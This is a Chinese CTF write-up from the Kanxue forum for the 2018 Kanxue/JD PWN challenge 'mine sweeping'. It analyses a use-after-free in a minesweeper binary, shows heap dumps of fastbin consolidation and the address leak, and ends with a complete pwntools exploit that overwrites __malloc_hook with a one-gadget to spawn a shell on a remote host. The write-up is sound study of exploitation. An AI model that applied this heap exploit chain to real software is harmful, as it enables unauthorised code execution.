首页
社区
课程
招聘
[原创]看雪.京东 2018CTF 第十四题 PWN-mine sweeping Writeup
2018-7-14 00:33 2738

[原创]看雪.京东 2018CTF 第十四题 PWN-mine sweeping Writeup

2018-7-14 00:33
2738

#看雪.京东 2018CTF 第十四题 PWN-mine sweeping Writeup

此题是一个堆利用题,漏洞点是一个UAF,还用到了consolidate相关的知识。

程序情况

保护情况

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

功能逻辑功能

程序实现了经典8*8扫雷游戏。程序功能代码不作过多分析(解题不需要玩游戏),网上有扫雷游戏的逆向分析及自动扫雷功能实现,可以参考理解。

 

程序功能菜单如下:

1. Start Game
2. Feed Back Bugs
3. help
4. exit
$ 1
----------------------
Welcome to minesweeper
   Panel:8*8 Mine:30
----------------------
*  *  *  *  *  *  *  *  
*  *  *  *  *  *  *  *  
*  *  *  *  *  *  *  *  
*  *  *  *  *  *  *  *  
*  *  *  *  *  *  *  *  
*  *  *  *  *  *  *  *  
*  *  *  *  *  *  *  *  
*  *  *  *  *  *  *  *  
----------------------

主功能菜单有两个:一是开始扫雷游戏(即使游戏局结束,因为UAF的存在,可以继续上一局);二是feed。

 

扫雷游戏里有三个命令可供选择:

  • explore 探雷
  • back 回主菜单
  • out 游戏清局并回主菜单

探雷后面需要输入坐标及操作,形式 x,y,z,坐标范围1-8,z取舍0-3。其中0表示标记无雷,1表示 有雷,2,3打印当前雷盘情况,区别在于2打开记步功能,3关闭记步功能。每次探雷操作后都会检查是否胜利;如果标记胜利的变量置位则要求输入名字;根据全局变量flag决定累不累加步数。

漏洞分析及利用

漏洞点

漏洞点在out功能中:

  if ( c == 2 )                               // out
    {
      free(qword_204018->mime_bool);
      free(qword_204018->p_mine_num);
      qword_204018->init_flag = 0LL;
      free(qword_204018);                       // hangling pointer
      return __readfsqword(0x28u) ^ v7;
    }

虽然free了三个chunk,但是没有删除指针,出现悬挂指针,导致UAF。本来如果仅仅如此是没有办法利用的。因为初始化flag已经清除,再进游戏就要重新开局。
但是作者给我们在feed中留了突破口。

  printf("input the length of your feed back:");
  size = read_num();
  chunk = (char *)malloc(size);
  get_str(chunk, size);
  free(chunk);

此处功能就是可以申请一个随意大小的chunk并写入内容,再free掉。那就可以利用这个功能改写初始化flag,让UAF真实实现。

利用思路

题中共有两个大的结构体,一是游戏局数据,一个是用户排雷数据的。
游戏局数据的结构大致为:

00000000 struc_1         struc ; (sizeof=0x30, mappedto_6)
00000000 step            dq ?                    ; offset
00000008 init_flag       dq ?
00000010 mine_num        dq ?                    ; offset
00000018 win_flag        dq ?
00000020 mime_bool       dq ?                    ; offset
00000028 name            dq ?                    ; offset
00000030 struc_1         ends

用户排雷数据的结构大致为:

00000000 struc_3         struc ; (sizeof=0x40, mappedto_8)
00000000 rows            dq 8 dup(?)             ; offset
00000040 struc_3         ends
---------------------------------------------------------------------------
00000000 struc_2         struc ; (sizeof=0x10, mappedto_7)
00000000 cols            struc_4 8 dup(?)
00000010 struc_2         ends
 ---------------------------------------------------------------------------
00000000 struc_4         struc ; (sizeof=0x2, mappedto_9)
00000000 mark_flag       db ?
00000001 mime_flag       db ?
00000002 struc_4         ends

用户排雷数据实际上是8组chunk指针,表示8行,每行有16字节数据,间隔放置8列用户排雷数据和真实check数据。

 

UAF利用的chunk就是有着游戏局数据的chunk,此结构中的name指针可以任意写,可以通过此办法写__malloc_hook的内容为one gadget的地址,进而get shell。改写此chunk内容时只要注意置位初始化flag和表示胜利的flag就行。

 

而leak地址,似乎只能从唯一有打印变量功能的函数入手,就是打印当前排雷局势的。
游戏开局后的堆布局是这样的:

0x55e41fc69000: 0x0000000000000000  0x0000000000000041 -----chunk1
0x55e41fc69010: 0x0000000000000000  0x0000000000000000
0x55e41fc69020: 0x000055e41fc690a0  0x0000000000000000
0x55e41fc69030: 0x000055e41fc690f0  0x000055e41fc69050
0x55e41fc69040: 0x0000000000000000  0x0000000000000031 -----chunk2
0x55e41fc69050: 0x0000000000000000  0x0000000000000000
0x55e41fc69060: 0x0000000000000000  0x0000000000000000
0x55e41fc69070: 0x0000000000000000  0x0000000000000021 -----chunk3
0x55e41fc69080: 0x0000000000000000  0x0000000000000000
0x55e41fc69090: 0x0000000000000000  0x0000000000000051 -----chunk4
0x55e41fc690a0: 0x000055e41fc690e0  0x0000000000000000
0x55e41fc690b0: 0x0000000000000000  0x0000000000000000
0x55e41fc690c0: 0x0000000000000000  0x0000000000000000
0x55e41fc690d0: 0x0000000000000000  0x0000000000000000
0x55e41fc690e0: 0x0000000000000000  0x0000000000000051 -----chunk5
0x55e41fc690f0: 0x0000000000000000  0x0000000101000100
0x55e41fc69100: 0x0001010100010000  0x0101010101000100
0x55e41fc69110: 0x0001010000010001  0x0100010000000000
0x55e41fc69120: 0x0100010001000000  0x0000010001000001
0x55e41fc69130: 0x0000000000000000  0x0000000000000051 -----chunk6
0x55e41fc69140: 0x000055e41fc69190  0x000055e41fc691b0
0x55e41fc69150: 0x000055e41fc691d0  0x000055e41fc691f0
0x55e41fc69160: 0x000055e41fc69210  0x000055e41fc69230
0x55e41fc69170: 0x000055e41fc69250  0x000055e41fc69270

fastbins
0x20: 0x55e41fc69400 —▸ 0x55e41fc693e0 —▸ 0x55e41fc693c0 —▸ 0x55e41fc693a0 ◂— ...
0x30: 0x0
0x40: 0x55e41fc69000 ◂— 0x0
0x50: 0x55e41fc69090 —▸ 0x55e41fc690e0 ◂— 0x0
0x60: 0x55e41fc69280 ◂— 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty

这里有6个chunk,chunk1就是UAF的利用对象;chunk6保存的就是8行打印数据的指针。
进入游戏后,先out利用feed修改name的指针低字节为e8,然后写name,改chunk5的size。
此时再feed一个大尺寸的chunk,fastbin就会consolidate。

0x55e41fc69000: 0x0000000000000000  0x0000000000000041
0x55e41fc69010: 0x00007f3a5644eb78  0x000055e41fc69090
0x55e41fc69020: 0x3131313131313131  0x3131313131313131
0x55e41fc69030: 0x3131313131313131  0x000055e41fc690e8
0x55e41fc69040: 0x0000000000000040  0x0000000000000030
0x55e41fc69050: 0x0000000000000000  0x0000000000000000
0x55e41fc69060: 0x0000000000000000  0x0000000000000000
0x55e41fc69070: 0x0000000000000000  0x0000000000000021
0x55e41fc69080: 0x0000000000000000  0x0000000000000000
0x55e41fc69090: 0x0000000000000000  0x00000000000000f1
0x55e41fc690a0: 0x000055e41fc69000  0x00007f3a5644eb78
0x55e41fc690b0: 0x0000000000000000  0x0000000000000000
0x55e41fc690c0: 0x0000000000000000  0x0000000000000000
0x55e41fc690d0: 0x0000000000000000  0x0000000000000000
0x55e41fc690e0: 0x0000000000000050  0x00000000000000a0
0x55e41fc690f0: 0x0000000000000000  0x0000000101000100
0x55e41fc69100: 0x0001010100010000  0x0101010101000100
0x55e41fc69110: 0x0001010000010001  0x0100010000000000
0x55e41fc69120: 0x0100010001000000  0x0000010001000001
0x55e41fc69130: 0x0000000000000000  0x0000000000000051
0x55e41fc69140: 0x000055e41fc69190  0x000055e41fc691b0
0x55e41fc69150: 0x000055e41fc691d0  0x000055e41fc691f0
0x55e41fc69160: 0x000055e41fc69210  0x000055e41fc69230
0x55e41fc69170: 0x000055e41fc69250  0x000055e41fc69270

fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x55e41fc69090 —▸ 0x55e41fc69000 ◂— 0x7f3a5644eb78
smallbins
empty

然后feed出chunk4,修改chunk6的数据第一个字节为40就可以leak出堆的地址,再修改chunk6的你们两字节使其指向chunk4的数据段,leak出bin地址,得到libc基址,然后使name指向__malloc_hook并修改其值为one gadget地址,再feed就get shell了。

exp

#!/usr/bin/env python

from pwn import *

def start():
    io.recvuntil('$')
    io.sendline('1')

def feed(size,data):
    io.recvuntil('$')
    io.sendline('2')
    io.recvuntil('back:')
    io.sendline(str(size))
    io.sendline(data)

def explore(x,y,z):
    io.recvuntil('*  \n----------------------\n')     
    io.sendline('explore')
    io.recvuntil('z\n')
    io.sendline('%d,%d,%d'%(x,y,z))

def out():
    io.recvuntil('*  \n----------------------\n')     
    io.sendline('out,') 

def back():
    io.recvuntil('*  \n----------------------\n')     
    io.sendline('back,')

def getres():
    io.recvuntil('---\n')
    io.recvuntil('---\n')
    return io.recvuntil('*  *  \n')

def pwn():
    start()
    out()
    gdb.attach(io) 
    feed(0x30,'1'*0x28+'\xe8')
    start()
    explore(1,1,3)
    io.recvuntil('hero\n')     
    io.sendline('\xa1')
    io.sendline('back,')

    feed(0xe0,'a'*32)
    feed(0xe0,'a'*0xa0+'\x41')        
    start()    
    ch = ord(getres()[0])    
    io.sendline('back,')
    feed(0xe0,'a'*0xa0+'\xa0'+chr(ch-1)) 
    start()
    r1 = getres()
    io.sendline('back,')
    feed(0xe0,'a'*0xa0+'\xa1'+chr(ch-1)) 
    start()
    r2 = getres()
    addr = u64(r1[0]+r2[0]+r1[3]+r2[3]+r1[6]+r2[6]+'\x00\x00')
    libc = addr - 0x3C4B78
    hook_addr = libc+0x3C4B10
    one_addr = libc+0xf1147
    libc = addr - 0x3C17B8
    hook_addr = libc+0x3C1740
    one_addr = libc+0xe9f2d
    log.info(hex(libc))  
    io.sendline('back,')
    feed(0x30,'a'*0x28+p64(hook_addr)[:-1])
    start()
    explore(1,1,3)
    io.recvuntil('hero\n')     
    io.sendline(p64(one_addr))
    io.sendline('back,')
    feed(0x30,'0')

    io.interactive()

if __name__  ==  '__main__':
    context(arch='amd64', kernel='amd64', os='linux')
    HOST, PORT = '0.0.0.0', 10001
    HOST, PORT = '139.199.99.130', 8686
    # libc = ELF('./libc.so.6')    
    if len(sys.argv) > 1 and sys.argv[1] == 'l': 
        io = process('./minesweep')        
        context.log_level = 'debug'        
    else:   
        io = remote(HOST, PORT)               
    pwn()

[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

最后于 2018-7-14 00:34 被poyoten编辑 ,原因:
收藏
点赞1
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回